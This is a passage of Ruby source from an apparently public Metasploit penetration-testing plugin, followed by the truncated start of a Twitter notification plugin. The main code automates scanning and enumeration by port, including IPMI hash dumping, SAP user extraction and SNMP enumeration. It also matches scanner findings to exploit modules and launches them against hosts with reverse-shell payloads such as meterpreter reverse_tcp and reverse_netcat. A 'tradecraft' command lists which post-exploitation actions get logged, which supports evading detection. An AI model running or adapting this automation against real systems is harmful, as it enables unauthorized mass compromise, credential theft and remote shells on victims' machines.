1752 | jobwaiting(maxjobs,verbose, "scanner")
1753 | next
1754 |
1755 | elsif (s.name.to_s =~ /http/i || s.port == 443) and s.info.to_s =~ /vmware/i
1756 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1757 | run_aux_module("scanner/vmware/esx_fingerprint",opts)
1758 | jobwaiting(maxjobs,verbose, "scanner")
1759 | next
1760 |
1761 | elsif (s.name.to_s =~ /vnc/i || s.port == 5900)
1762 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1763 | run_aux_module("scanner/vnc/vnc_none_auth",opts)
1764 | jobwaiting(maxjobs,verbose, "scanner")
1765 | next
1766 |
1767 | elsif (s.name.to_s =~ /jetdirect/i || s.port == 9100)
1768 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1769 | run_aux_module("scanner/printer/printer_version_info",opts)
1770 | run_aux_module("scanner/printer/printer_ready_message",opts)
1771 | run_aux_module("scanner/printer/printer_list_volumes",opts)
1772 | run_aux_module("scanner/printer/printer_list_dir",opts)
1773 | run_aux_module("scanner/printer/printer_download_file",opts)
1774 | run_aux_module("scanner/printer/printer_env_vars",opts)
1775 | jobwaiting(maxjobs,verbose, "scanner")
1776 | next
1777 |
1778 | elsif (s.port == 623)
1779 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1780 | run_aux_module("scanner/ipmi/ipmi_cipher_zero",opts)
1781 | run_aux_module("scanner/ipmi/ipmi_dumphashes",opts)
1782 | run_aux_module("scanner/ipmi/ipmi_version",opts)
1783 | jobwaiting(maxjobs,verbose, "scanner")
1784 | next
1785 |
1786 | elsif (s.port == 6000)
1787 | opts = {'RHOSTS' => s.host.address, 'RPORT' => s.port}
1788 | run_aux_module("scanner/x11/open_x11",opts)
1789 | jobwaiting(maxjobs,verbose, "scanner")
1790 | next
1791 |
1792 | elsif (s.port == 1521) and s.info.to_s == ""
1793 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1794 | run_aux_module("scanner/oracle/tnslsnr_version",opts)
1795 | jobwaiting(maxjobs,verbose, "scanner")
1796 | next
1797 |
1798 | elsif (s.port == 17185) and s.info.to_s == ""
1799 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1800 | run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
1801 | run_aux_module("scanner/vxworks/wdbrpc_version",opts)
1802 | jobwaiting(maxjobs,verbose, "scanner")
1803 | next
1804 |
1805 | elsif (s.port == 50013) and s.info.to_s == ""
1806 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1807 | run_aux_module("scanner/vxworks/wdbrpc_bootline",opts)
1808 | run_aux_module("scanner/vxworks/wdbrpc_version",opts)
1809 | jobwaiting(maxjobs,verbose, "scanner")
1810 | next
1811 |
1812 | elsif (s.port.to_s =~ /50000|50001|50002/) and s.info.to_s == ""
1813 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1814 | run_aux_module("scanner/db2/db2_version",opts)
1815 | jobwaiting(maxjobs,verbose, "scanner")
1816 | next
1817 |
1818 | elsif (s.port.to_s =~ /50013/) and s.info.to_s == ""
1819 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1820 | run_aux_module("scanner/sap/sap_mgmt_con_getaccesspoints",opts)
1821 | run_aux_module("scanner/sap/sap_mgmt_con_extractusers",opts)
1822 | run_aux_module("scanner/sap/sap_mgmt_con_abaplog",opts)
1823 | run_aux_module("scanner/sap/sap_mgmt_con_getenv",opts)
1824 | run_aux_module("scanner/sap/sap_mgmt_con_getlogfiles",opts)
1825 | run_aux_module("scanner/sap/sap_mgmt_con_getprocessparameter",opts)
1826 | run_aux_module("scanner/sap/sap_mgmt_con_instanceproperties",opts)
1827 | run_aux_module("scanner/sap/sap_mgmt_con_listlogfiles",opts)
1828 | run_aux_module("scanner/sap/sap_mgmt_con_startprofile",opts)
1829 | run_aux_module("scanner/sap/sap_mgmt_con_version",opts)
1830 | jobwaiting(maxjobs,verbose, "scanner")
1831 | next
1832 |
1833 | elsif (s.port == 8080) and s.info.to_s == ""
1834 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1835 | run_aux_module("scanner/http/sap_businessobjects_version_enum",opts)
1836 | run_aux_module("scanner/http/open_proxy",opts)
1837 | jobwaiting(maxjobs,verbose, "scanner")
1838 | next
1839 |
1840 | elsif (s.port == 161 and s.proto == "udp") || (s.name.to_s =~/snmp/)
1841 | opts = {'RHOSTS' => s.host.address,'RPORT' => s.port}
1842 | run_aux_module("scanner/snmp/snmp_login",opts)
1843 | jobwaiting(maxjobs,verbose, "scanner")
1844 |
1845 | if s.creds.length > 0
1846 | s.creds.each do |c|
1847 | opts = {
1848 | 'RHOSTS' => s.host.address,
1849 | 'RPORT' => s.port,
1850 | 'VERSION' => "1",
1851 | 'COMMUNITY' => c.pass
1852 | }
1853 | run_aux_module("scanner/snmp/snmp_enum",opts)
1854 | jobwaiting(maxjobs,verbose,"scanner")
1855 |
1856 | opts = {
1857 | 'RHOSTS' => s.host.address,
1858 | 'RPORT' => s.port,
1859 | 'VERSION' => "2c",
1860 | 'COMMUNITY' => c.pass
1861 | }
1862 | run_aux_module("scanner/snmp/snmp_enum",opts)
1863 | jobwaiting(maxjobs,verbose,"scanner")
1864 |
1865 | if s.host.os_name =~ /windows/i
1866 | opts = {
1867 | 'RHOSTS' => s.host.address,
1868 | 'RPORT' => s.port,
1869 | 'VERSION' => "1",
1870 | 'COMMUNITY' => c.pass
1871 | }
1872 | run_aux_module("scanner/snmp/snmp_enumusers",opts)
1873 | jobwaiting(maxjobs,verbose,"scanner")
1874 |
1875 | opts = {
1876 | 'RHOSTS' => s.host.address,
1877 | 'RPORT' => s.port,
1878 | 'VERSION' => "2c",
1879 | 'COMMUNITY' => c.pass
1880 | }
1881 | run_aux_module("scanner/snmp/snmp_enumusers",opts)
1882 | jobwaiting(maxjobs,verbose,"scanner")
1883 |
1884 | opts = {
1885 | 'RHOSTS' => s.host.address,
1886 | 'RPORT' => s.port,
1887 | 'VERSION' => "1",
1888 | 'COMMUNITY' => c.pass
1889 | }
1890 | run_aux_module("scanner/snmp/snmp_enumshares",opts)
1891 | jobwaiting(maxjobs,verbose,"scanner")
1892 |
1893 | opts = {
1894 | 'RHOSTS' => s.host.address,
1895 | 'RPORT' => s.port,
1896 | 'VERSION' => "2c",
1897 | 'COMMUNITY' => c.pass
1898 | }
1899 | run_aux_module("scanner/snmp/snmp_enumshares",opts)
1900 | jobwaiting(maxjobs,verbose,"scanner")
1901 |
1902 | else
1903 | opts = {
1904 | 'RHOSTS' => s.host.address,
1905 | 'RPORT' => s.port,
1906 | 'VERSION' => "1",
1907 | 'COMMUNITY' => c.pass
1908 | }
1909 | run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
1910 | jobwaiting(maxjobs,verbose,"scanner")
1911 |
1912 | opts = {
1913 | 'RHOSTS' => s.host.address,
1914 | 'RPORT' => s.port,
1915 | 'VERSION' => "2c",
1916 | 'COMMUNITY' => c.pass
1917 | }
1918 | run_aux_module("scanner/snmp/xerox_workcentre_enumusers",opts)
1919 | jobwaiting(maxjobs,verbose,"scanner")
1920 |
1921 | opts = {
1922 | 'RHOSTS' => s.host.address,
1923 | 'RPORT' => s.port,
1924 | 'VERSION' => "1",
1925 | 'COMMUNITY' => c.pass
1926 | }
1927 | run_aux_module("scanner/snmp/aix_version",opts)
1928 | jobwaiting(maxjobs,verbose,"scanner")
1929 |
1930 | opts = {
1931 | 'RHOSTS' => s.host.address,
1932 | 'RPORT' => s.port,
1933 | 'VERSION' => "2c",
1934 | 'COMMUNITY' => c.pass
1935 | }
1936 | run_aux_module("scanner/snmp/aix_version",opts)
1937 | jobwaiting(maxjobs,verbose,"scanner")
1938 | next
1939 |
1940 | end
1941 | end
1942 | end
1943 | end
1944 | end
1945 | end
1946 | end
1947 |
1948 | # Exploit handling commands
1949 | ################################################################################################
1950 |
1951 | class AutoExploit
1952 | include Msf::Ui::Console::CommandDispatcher
1953 | # Set name for command dispatcher
1954 | def name
1955 | "auto_exploit"
1956 | end
1957 |
1958 |
1959 | # Define Commands
1960 | def commands
1961 | {
1962 | "vuln_exploit" => "Runs exploits based on data imported from vuln scanners.",
1963 | "show_client_side" => "Show matched client side exploits from data imported from vuln scanners."
1964 | }
1965 | end
1966 |
1967 |
1968 | # vuln exploit command
1969 | def cmd_vuln_exploit(*args)
1970 | require 'timeout'
1971 |
1972 | # Define options
1973 | opts = Rex::Parser::Arguments.new(
1974 | "-f" => [ true, "Provide a comma separated list of IP's and Ranges to skip when running exploits."],
1975 | "-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
1976 | "-m" => [ false, "Only show matched exploits."],
1977 | "-s" => [ false, "Do not limit number of sessions to one per target."],
1978 | "-j" => [ true, "Max number of concurrent jobs, 3 is the default."],
1979 | "-h" => [ false, "Command Help"]
1980 | )
1981 |
1982 | # set variables for options
1983 | os_type = ""
1984 | filter = []
1985 | range = []
1986 | limit_sessions = true
1987 | matched_exploits = []
1988 | min_rank = 100
1989 | show_matched = false
1990 | maxjobs = 3
1991 | ranks ={
1992 | "low" => 100,
1993 | "average" => 200,
1994 | "normal" => 300 ,
1995 | "good" => 400,
1996 | "great" => 500,
1997 | "excellent" => 600
1998 | }
1999 | # Parse options
2000 | opts.parse(args) do |opt, idx, val|
2001 | case opt
2002 | when "-f"
2003 | range = val.gsub(" ","").split(",")
2004 | when "-r"
2005 | if ranks.include?(val)
2006 | min_rank = ranks[val]
2007 | else
2008 | print_error("Value of #{val} not in list using default of good.")
2009 | end
2010 | when "-s"
2011 | limit_sessions = false
2012 | when "-m"
2013 | show_matched = true
2014 | when "-j"
2015 | maxjobs = val.to_i
2016 |
2017 | when "-h"
2018 | print_line(opts.usage)
2019 | return
2020 |
2021 | end
2022 | end
2023 |
2024 | # Make sure that there are vulnerabilities in the table before doing anything else
2025 | if framework.db.workspace.vulns.length == 0
2026 | print_error("No vulnerabilities are present in the database.")
2027 | return
2028 | end
2029 |
2030 | # generate a list of IP's to not exploit
2031 | range.each do |r|
2032 | Rex::Socket::RangeWalker.new(r).each do |i|
2033 | filter << i
2034 | end
2035 | end
2036 |
2037 | exploits =[]
2038 | print_status("Generating List for Matching...")
2039 | framework.exploits.each_module do |n,e|
2040 | exploit = {}
2041 | x=e.new
2042 | if x.datastore.include?('RPORT')
2043 | exploit = {
2044 | :exploit => x.fullname,
2045 | :port => x.datastore['RPORT'],
2046 | :platforms => x.platform.names.join(" "),
2047 | :date => x.disclosure_date,
2048 | :references => x.references,
2049 | :rank => x.rank
2050 | }
2051 | exploits << exploit
2052 | end
2053 | end
2054 |
2055 | print_status("Matching Exploits (This will take a while depending on number of hosts)...")
2056 | framework.db.workspace.hosts.each do |h|
2057 | # Check that host has vulnerabilities associated in the DB
2058 | if h.vulns.length > 0
2059 | os_type = normalise_os(h.os_name)
2060 | #payload = chose_pay(h.os_name)
2061 | exploits.each do |e|
2062 | found = false
2063 | next if not e[:rank] >= min_rank
2064 | if e[:platforms].downcase =~ /#{os_type}/ or e[:platforms].downcase == "" or e[:platforms].downcase =~ /php/i
2065 | # lets get the proper references
2066 | e_refs = parse_references(e[:references])
2067 | h.vulns.each do |v|
2068 | v.refs.each do |f|
2069 | # Filter out Nessus notes
2070 | next if f.name =~ /^NSS|^CWE/
2071 | if e_refs.include?(f.name) and not found
2072 | # Skip those hosts that are filtered
2073 | next if filter.include?(h.address)
2074 | # Save exploits in manner easy to retrieve later
2075 | exploit = {
2076 | :exploit => e[:exploit],
2077 | :port => e[:port],
2078 | :target => h.address,
2079 | :rank => e[:rank]
2080 | }
2081 | matched_exploits << exploit
2082 | found = true
2083 | end
2084 | end
2085 | end
2086 | end
2087 | end
2088 | end
2089 |
2090 | end
2091 |
2092 | if matched_exploits.length > 0
2093 | # Sort by rank with highest ranked exploits first
2094 | matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
2095 |
2096 | print_good("Matched Exploits:")
2097 | matched_exploits.each do |e|
2098 | print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
2099 | end
2100 |
2101 | # Only show matched records if user only wanted if selected.
2102 | return if show_matched
2103 |
2104 | # Track LPORTs used
2105 | known_lports = []
2106 |
2107 | # Make sure that existing jobs do not affect the limit
2108 | current_jobs = framework.jobs.keys.length
2109 | maxjobs = current_jobs + maxjobs
2110 |
2111 | # Start launching exploits that matched sorted by best ranking first
2112 | print_status("Running Exploits:")
2113 | matched_exploits.each do |e|
2114 | # Select a random port for LPORT
2115 | port_list = (1024..65000).to_a.shuffle.first
2116 | port_list = (1024..65000).to_a.shuffle.first if known_lports.include?(port_list)
2117 |
2118 | # Check if we are limiting one session per target and enforce
2119 | if limit_sessions and get_current_sessions.include?(e[:target])
2120 | print_good("\tSkipping #{e[:target]} #{e[:exploit]} because a session already exists.")
2121 | next
2122 | end
2123 |
2124 | # Configure and launch the exploit
2125 | begin
2126 | print_status("Creating instance of #{e[:exploit]}")
2127 | ex = framework.modules.create(e[:exploit])
2128 | if ex.nil?
2129 | print_error("Could not create instance.")
2130 | end
2131 | # Choose a payload depending on the best match for the specific exploit
2132 | ex = chose_pay(ex, e[:target])
2133 | if ex.datastore.has_key?('TARGETURI')
2134 | ex.datastore['TARGETURI'] = e[:target]
2135 | end
2136 | ex.datastore['RHOST'] = e[:target]
2137 | ex.datastore['RPORT'] = e[:port].to_i
2138 | ex.datastore['LPORT'] = port_list
2139 | ex.datastore['VERBOSE'] = true
2140 | (ex.options.validate(ex.datastore))
2141 | print_status("Running #{e[:exploit]} against #{e[:target]}")
2142 |
2143 | # Provide 20 seconds for a exploit to timeout
2144 | Timeout::timeout(20) do
2145 | ex.exploit_simple(
2146 | 'Payload' => ex.datastore['PAYLOAD'],
2147 | 'LocalInput' => driver.input,
2148 | 'LocalOutput' => driver.output,
2149 | 'RunAsJob' => true
2150 | )
2151 | end
2152 | rescue Timeout::Error
2153 | print_error("Exploit #{e[:exploit]} against #{e[:target]} timed out")
2154 | end
2155 | jobwaiting(maxjobs)
2156 | end
2157 | else
2158 | print_error("No Exploits where Matched.")
2159 | return
2160 | end
2161 | end
2162 |
2163 |
2164 | # Show client side exploits
2165 | def cmd_show_client_side(*args)
2166 |
2167 | # Define options
2168 | opts = Rex::Parser::Arguments.new(
2169 | "-r" => [ true, "Minimum Rank for exploits (low, average, normal, good, great and excellent) good is the default."],
2170 | "-h" => [ false, "Command Help"]
2171 | )
2172 |
2173 | # set variables for options
2174 | os_type = ""
2175 | matched_exploits = []
2176 | min_rank = 100
2177 | ranks ={
2178 | "low" => 100,
2179 | "average" => 200,
2180 | "normal" => 300 ,
2181 | "good" => 400,
2182 | "great" => 500,
2183 | "excellent" => 600
2184 | }
2185 | # Parse options
2186 | opts.parse(args) do |opt, idx, val|
2187 | case opt
2188 | when "-r"
2189 | if ranks.include?(val)
2190 | min_rank = ranks[val]
2191 | else
2192 | print_error("Value of #{val} not in list using default of good.")
2193 | end
2194 |
2195 | when "-h"
2196 | print_line(opts.usage)
2197 | return
2198 | end
2199 | end
2200 |
2201 | exploits =[]
2202 |
2203 | # Make sure that there are vulnerabilities in the table before doing anything else
2204 | if framework.db.workspace.vulns.length == 0
2205 | print_error("No vulnerabilities are present in the database.")
2206 | return
2207 | end
2208 |
2209 | print_status("Generating List for Matching...")
2210 | framework.exploits.each_module do |n,e|
2211 | exploit = {}
2212 | x=e.new
2213 | if x.datastore.include?('LPORT')
2214 | exploit = {
2215 | :exploit => x.fullname,
2216 | :port => x.datastore['RPORT'],
2217 | :platforms => x.platform.names.join(" "),
2218 | :date => x.disclosure_date,
2219 | :references => x.references,
2220 | :rank => x.rank
2221 | }
2222 | exploits << exploit
2223 | end
2224 | end
2225 |
2226 | print_status("Matching Exploits (This will take a while depending on number of hosts)...")
2227 | framework.db.workspace.hosts.each do |h|
2228 | # Check that host has vulnerabilities associated in the DB
2229 | if h.vulns.length > 0
2230 | os_type = normalise_os(h.os_name)
2231 | #payload = chose_pay(h.os_name)
2232 | exploits.each do |e|
2233 | found = false
2234 | next if not e[:rank] >= min_rank
2235 | if e[:platforms].downcase =~ /#{os_type}/
2236 | # lets get the proper references
2237 | e_refs = parse_references(e[:references])
2238 | h.vulns.each do |v|
2239 | v.refs.each do |f|
2240 | # Filter out Nessus notes
2241 | next if f.name =~ /^NSS|^CWE/
2242 | if e_refs.include?(f.name) and not found
2243 | # Save exploits in manner easy to retrieve later
2244 | exploit = {
2245 | :exploit => e[:exploit],
2246 | :port => e[:port],
2247 | :target => h.address,
2248 | :rank => e[:rank]
2249 | }
2250 | matched_exploits << exploit
2251 | found = true
2252 | end
2253 | end
2254 | end
2255 | end
2256 | end
2257 | end
2258 | end
2259 |
2260 | if matched_exploits.length > 0
2261 | # Sort by rank with highest ranked exploits first
2262 | matched_exploits.sort! { |x, y| y[:rank] <=> x[:rank] }
2263 | print_good("Matched Exploits:")
2264 | matched_exploits.each do |e|
2265 | print_good("\t#{e[:target]} #{e[:exploit]} #{e[:port]} #{e[:rank]}")
2266 | end
2267 | else
2268 | print_status("No Matching Client Side Exploits where found.")
2269 | end
2270 | end
2271 |
2272 |
2273 | # Normalize the OS name since different scanner may have entered different values.
2274 | def normalise_os(os_name)
2275 | case os_name
2276 | when /(Microsoft|Windows)/i
2277 | os = "windows"
2278 | when /(Linux|Ubuntu|CentOS|RedHat)/i
2279 | os = "linux"
2280 | when /aix/i
2281 | os = "aix"
2282 | when /(freebsd)/i
2283 | os = "bsd"
2284 | when /(hpux|hp-ux)/i
2285 | os = "hpux"
2286 | when /solaris/i
2287 | os = "solaris"
2288 | when /(Apple|OSX|OS X)/i
2289 | os = "osx"
2290 | end
2291 | return os
2292 | end
2293 |
2294 |
2295 | # Parse the exploit references and get a list of CVE, BID and OSVDB values that
2296 | # we can match accurately.
2297 | def parse_references(refs)
2298 | references = []
2299 | refs.each do |r|
2300 | # We do not want references that are URLs
2301 | next if r.ctx_id == "URL"
2302 | # Format the reference as it is saved by Nessus
2303 | references << "#{r.ctx_id}-#{r.ctx_val}"
2304 | end
2305 | return references
2306 | end
2307 |
2308 |
2309 | # Choose the proper payload
2310 | def chose_pay(mod, rhost)
2311 | # taken from the exploit ui mixin
2312 | # A list of preferred payloads in the best-first order
2313 | set_mod = nil
2314 | pref = [
2315 | 'windows/meterpreter/reverse_tcp',
2316 | 'java/meterpreter/reverse_tcp',
2317 | 'php/meterpreter/reverse_tcp',
2318 | 'php/meterpreter_reverse_tcp',
2319 | 'cmd/unix/interact',
2320 | 'cmd/unix/reverse',
2321 | 'cmd/unix/reverse_perl',
2322 | 'cmd/unix/reverse_netcat',
2323 | 'windows/meterpreter/reverse_nonx_tcp',
2324 | 'windows/meterpreter/reverse_ord_tcp',
2325 | 'windows/shell/reverse_tcp',
2326 | 'generic/shell_reverse_tcp'
2327 | ]
2328 | pset = mod.compatible_payloads.map{|x| x[0] }
2329 | pref.each do |n|
2330 | if(pset.include?(n))
2331 | print_status("\tPayload choosen is #{n}")
2332 | mod.datastore['PAYLOAD'] = n
2333 | mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
2334 | return mod
2335 | else
2336 | # grab the first compatible payload.
2337 | print_status("\tCompatible payload not in prefered payload list.")
2338 | print_status("\tPayload choosen is #{pset[0]}")
2339 | mod.datastore['PAYLOAD'] = pset[0]
2340 | mod.datastore['LHOST'] = Rex::Socket.source_address(rhost)
2341 | return mod
2342 | end
2343 | end
2344 | end
2345 |
2346 |
2347 | # Create a payload given a name, lhost and lport, additional options
2348 | def create_payload(name, lhost, lport, opts = "")
2349 | pay = framework.payloads.create(name)
2350 | pay.datastore['LHOST'] = lhost
2351 | pay.datastore['LPORT'] = lport
2352 | if not opts.empty?
2353 | opts.split(",").each do |o|
2354 | opt,val = o.split("=", 2)
2355 | pay.datastore[opt] = val
2356 | end
2357 | end
2358 | # Validate the options for the module
2359 | if pay.options.validate(pay.datastore)
2360 | print_good("Payload option validation passed")
2361 | end
2362 | return pay
2363 |
2364 | end
2365 |
2366 |
2367 | def get_current_sessions()
2368 | session_hosts = framework.sessions.map { |s,r| r.tunnel_peer.split(":")[0] }
2369 | return session_hosts
2370 | end
2371 |
2372 |
2373 | # Method to write string to file
2374 | def file_write(file2wrt, data2wrt)
2375 | if not ::File.exists?(file2wrt)
2376 | ::FileUtils.touch(file2wrt)
2377 | end
2378 | output = ::File.open(file2wrt, "a")
2379 | data2wrt.each_line do |d|
2380 | output.puts(d)
2381 | end
2382 | output.close
2383 | end
2384 |
2385 |
2386 | def get_job_count
2387 | job_count = 1
2388 | framework.jobs.each do |k,j|
2389 | if j.name !~ /handler/
2390 | job_count = job_count + 1
2391 | end
2392 | end
2393 | return job_count
2394 | end
2395 |
2396 |
2397 | def jobwaiting(maxjobs, verbose=true)
2398 | while(get_job_count >= maxjobs)
2399 | ::IO.select(nil, nil, nil, 2.5)
2400 | if verbose
2401 | print_status("Waiting for some modules to finish")
2402 | end
2403 | end
2404 | end
2405 | end
2406 |
2407 | # Tradecraft commands
2408 | ################################################################################################
2409 | class TradeCraftCommandDispatcher
2410 | include Msf::Ui::Console::CommandDispatcher
2411 |
2412 | # Set name for command dispatcher
2413 | def name
2414 | "Tradecraft"
2415 | end
2416 |
2417 | # Define Commands
2418 | def commands
2419 | {
2420 | 'check_footprint' => 'Checks the possible footprint of a post module on a target system.',
2421 | }
2422 | end
2423 |
2424 | # Function for doing auto complete on module name
2425 | def tab_complete_module(str, words)
2426 | res = []
2427 | framework.modules.module_types.each do |mtyp|
2428 | mset = framework.modules.module_names(mtyp)
2429 | mset.each do |mref|
2430 | res << mtyp + '/' + mref
2431 | end
2432 | end
2433 |
2434 | return res.sort
2435 | end
2436 |
2437 | # Function to do tab complete on modules for check_footprint
2438 | def cmd_check_footprint_tabs(str, words)
2439 | tab_complete_module(str, words)
2440 | end
2441 |
2442 | def cmd_check_footprint(*args)
2443 | opts = Rex::Parser::Arguments.new(
2444 | "-m" => [ true, "Module to check."],
2445 | "-h" => [ false, "Command Help."]
2446 | )
2447 | post_mod = nil
2448 | # Parse options
2449 | opts.parse(args) do |opt, idx, val|
2450 | case opt
2451 | when "-m"
2452 | post_mod = val
2453 | when "-h"
2454 | print_line opts.usage
2455 | return
2456 | else
2457 | print_status "Please specify a module to check with the -m option."
2458 | return
2459 | end
2460 | end
2461 |
2462 | if post_mod.nil?
2463 | if active_module
2464 | path = active_module.file_path
2465 | if active_module.fullname =~ /^post|^exploit/
2466 | m = active_module
2467 | else
2468 | print_error "This module is not a exploit or post module."
2469 | return
2470 | end
2471 | if active_module.session_types.include?("shell")
2472 | print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n"
2473 | end
2474 | module_code = ::File.read(path)
2475 | else
2476 | print_error('No module specified.')
2477 | end
2478 | else
2479 | if post_mod =~ /^post/
2480 | post_module= post_mod.gsub(/^post\//,"")
2481 | m = framework.post.create(post_module)
2482 | elsif post_mod =~ /^exploit/
2483 | exploit_module= post_mod.gsub(/^exploit\//,"")
2484 | m = framework.exploits.create(exploit_module)
2485 | else
2486 | print_error "This module is not a exploit or post module."
2487 | return
2488 | end
2489 | if m.session_types.include?("shell")
2490 | print_line "\n%bld%redWARNING%clr This module supports Shell type sessions. All actions may be logged. %bld%redWARNING%clr\n"
2491 | end
2492 | module_code = ::File.read(m.file_path)
2493 | end
2494 |
2495 | indicator_found = false
2496 | tbl = Rex::Text::Table.new(
2497 | 'Columns' => [
2498 | 'Indicator',
2499 | 'Description'
2500 | ])
2501 |
2502 | footprint_generators = {
2503 | 'cmd_exec' => 'This module will create a process that can be logged.',
2504 | '.sys.process.execute' => 'This module will create a process that can be logged.',
2505 | 'run_cmd' => 'This module will create a process that can be logged.',
2506 | 'check_osql' => 'This module will create a osql.exe process that can be logged.',
2507 | 'check_sqlcmd' => 'This module will create a sqlcmd.exe process that can be logged.',
2508 | 'wmic_query' => 'This module will create a wmic.exe process that can be logged.',
2509 | 'get_whoami' => 'This module will create a whoami.exe process that can be logged.',
2510 | "service_create" => 'This module manipulates a service in a way that can be logged',
2511 | "service_start" => 'This module manipulates a service in a way that can be logged',
2512 | "service_change_config" => 'This module manipulates a service in a way that can be logged',
2513 | "service_change_startup" => 'This module manipulates a service in a way that can be logged',
2514 | "get_vss_device" => 'This module will create a wmic.exe process that can be logged.',
2515 | "vss_list" => 'This module will create a wmic.exe process that can be logged.',
2516 | "vss_get_ids" => 'This module will create a wmic.exe process that can be logged.',
2517 | "vss_get_storage" => 'This module will create a wmic.exe process that can be logged.',
2518 | "get_sc_details" => 'This module will create a wmic.exe process that can be logged.',
2519 | "get_sc_param" => 'This module will create a wmic.exe process that can be logged.',
2520 | "vss_get_storage_param" => 'This module will create a wmic.exe process that can be logged.',
2521 | "vss_set_storage" => 'This module will create a wmic.exe process that can be logged.',
2522 | "create_shadowcopy" => 'This module will create a wmic.exe process that can be logged.',
2523 | "start_vss" => 'This module will create a wmic.exe process that can be logged.',
2524 | "start_swprv" => 'This module manipulates a service in a way that can be logged',
2525 | "execute_shellcode" => 'This module will create a thread that can be detected (Sysmon).',
2526 | "is_in_admin_group" => 'This module will create a whoami.exe process that can be logged.',
2527 | "upload_file" => 'This module uploads a file on to the target, AVs will examine the file and action may be logged if folder is audited.',
2528 | "file_local_write" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
2529 | "write_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
2530 | "append_file" => 'This module writes to a file or may create one, action may be logged if folder is audited or examined by AV.',
2531 | "rename_file" => 'This module renames a file or may create one, action may be logged if folder is audited or examined by AV.'
2532 | }
2533 |
2534 | footprint_generators.each { |key, value|
2535 | if module_code.include?(key)
2536 | indicator_found = true
2537 | tbl << ["%bld%red#{key}%clr",value]
2538 | end
2539 | }
2540 |
2541 | if indicator_found
2542 | print_line(tbl.to_s)
2543 | else
2544 | print_good("No indicators found.")
2545 | end
2546 | end
2547 | end
2548 | #-------------------------------------------------------------------------------------------------
2549 | def initialize(framework, opts)
2550 | super
2551 | if framework.db and framework.db.active
2552 | add_console_dispatcher(PostautoCommandDispatcher)
2553 | add_console_dispatcher(ProjectCommandDispatcher)
2554 | add_console_dispatcher(DiscoveryCommandDispatcher)
2555 | add_console_dispatcher(AutoExploit)
2556 | add_console_dispatcher(TradeCraftCommandDispatcher)
2557 |
2558 | archive_path = ::File.join(Msf::Config.log_directory,"archives")
2559 | project_paths = ::File.join(Msf::Config.log_directory,"projects")
2560 |
2561 | # Create project folder if first run
2562 | if not ::File.directory?(project_paths)
2563 | ::FileUtils.mkdir_p(project_paths)
2564 | end
2565 |
2566 | # Create archive folder if first run
2567 | if not ::File.directory?(archive_path)
2568 | ::FileUtils.mkdir_p(archive_path)
2569 | end
2570 | banner = %{
2571 | ___ _ _ ___ _ _
2572 | | _ \\___ _ _| |_ ___ __| |_ | _ \\ |_ _ __ _(_)_ _
2573 | | _/ -_) ' \\ _/ -_|_-< _| | _/ | || / _` | | ' \\
2574 | |_| \\___|_||_\\__\\___/__/\\__| |_| |_|\\_,_\\__, |_|_||_|
2575 | |___/
2576 | }
2577 | print_line banner
2578 | print_line "Version 1.6"
2579 | print_line "Pentest plugin loaded."
2580 | print_line "by Carlos Perez (carlos_perez[at]darkoperator.com)"
2581 | else
2582 | print_error("This plugin requires the framework to be connected to a Database!")
2583 | end
2584 | end
2585 |
2586 | def cleanup
2587 | remove_console_dispatcher('Postauto')
2588 | remove_console_dispatcher('Project')
2589 | remove_console_dispatcher('Discovery')
2590 | remove_console_dispatcher('auto_exploit')
2591 | remove_console_dispatcher('Tradecraft')
2592 | end
2593 |
2594 | def name
2595 | "pentest"
2596 | end
2597 |
2598 | def desc
2599 | "Plugin for Post-Exploitation automation."
2600 | end
2601 | protected
2602 | end
2603 | end
2604 |
--------------------------------------------------------------------------------
/twitt.rb:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2011, Carlos Perez "Displays help",
118 | 'twitt_start' => "Start Twitter Plugin after saving settings.",
119 | 'twitt_stop' => "Stop monitoring for new sessions.",
120 | 'twitt_test' => "Send test message to make sure confoguration is working.",
121 | 'twitt_save' => "Save Settings to YAML File #{Twitter_yaml}.",
122 | 'twitt_set_consumer_key' => "Sets Twitter Consumer Key.",
123 | 'twitt_set_consumer_secret' => "Sets Consumer Secret.",
124 | 'twitt_set_oauth_token' => "Sets Oauth Token.",
125 | 'twitt_set_oauth_token_secret' => "Sets Oauth Token Secret",
126 | 'twitt_set_user' => "Sets User to whom messages will be sent.",
127 | 'twitt_set_source' => "Sets Source Name from where the messages are sent.",
128 | 'twitt_show_parms' => "Shows currently set parameters."
129 |
130 | }
131 | end
132 |
133 | # Help Command
134 | def cmd_twitt_help
135 | puts "Help"
136 | end
137 |
138 | # Re-Read YAML file and set Twitter Configuration
139 | def cmd_twitt_start
140 | print_status "Starting to monitor sessions to Twitt"
141 | if read_settings()
142 | self.framework.events.add_session_subscriber(self)
143 | @twitt_client = Twitter.configure do |config|
144 | config.consumer_key = @consumer_key
145 | config.consumer_secret = @consumer_secret
146 | config.oauth_token = @oauth_token
147 | config.oauth_token_secret = @oauth_token_secret
148 | end
149 | print_good("Twitter Plugin Started, Monitoring Sessions")
150 | else
151 | print_error("Could not set Twitter settings.")
152 | end
153 | end
154 |
155 | def cmd_twitt_stop
156 | print_status("Stopping the monitoring of sessions to Twitt")
157 | self.framework.events.remove_session_subscriber(self)
158 | end
159 |
160 | def cmd_twitt_test
161 | print_status("Sending tests message")
162 | read_settings
163 | @twitt_client = Twitter.configure do |config|
164 | config.consumer_key = @consumer_key
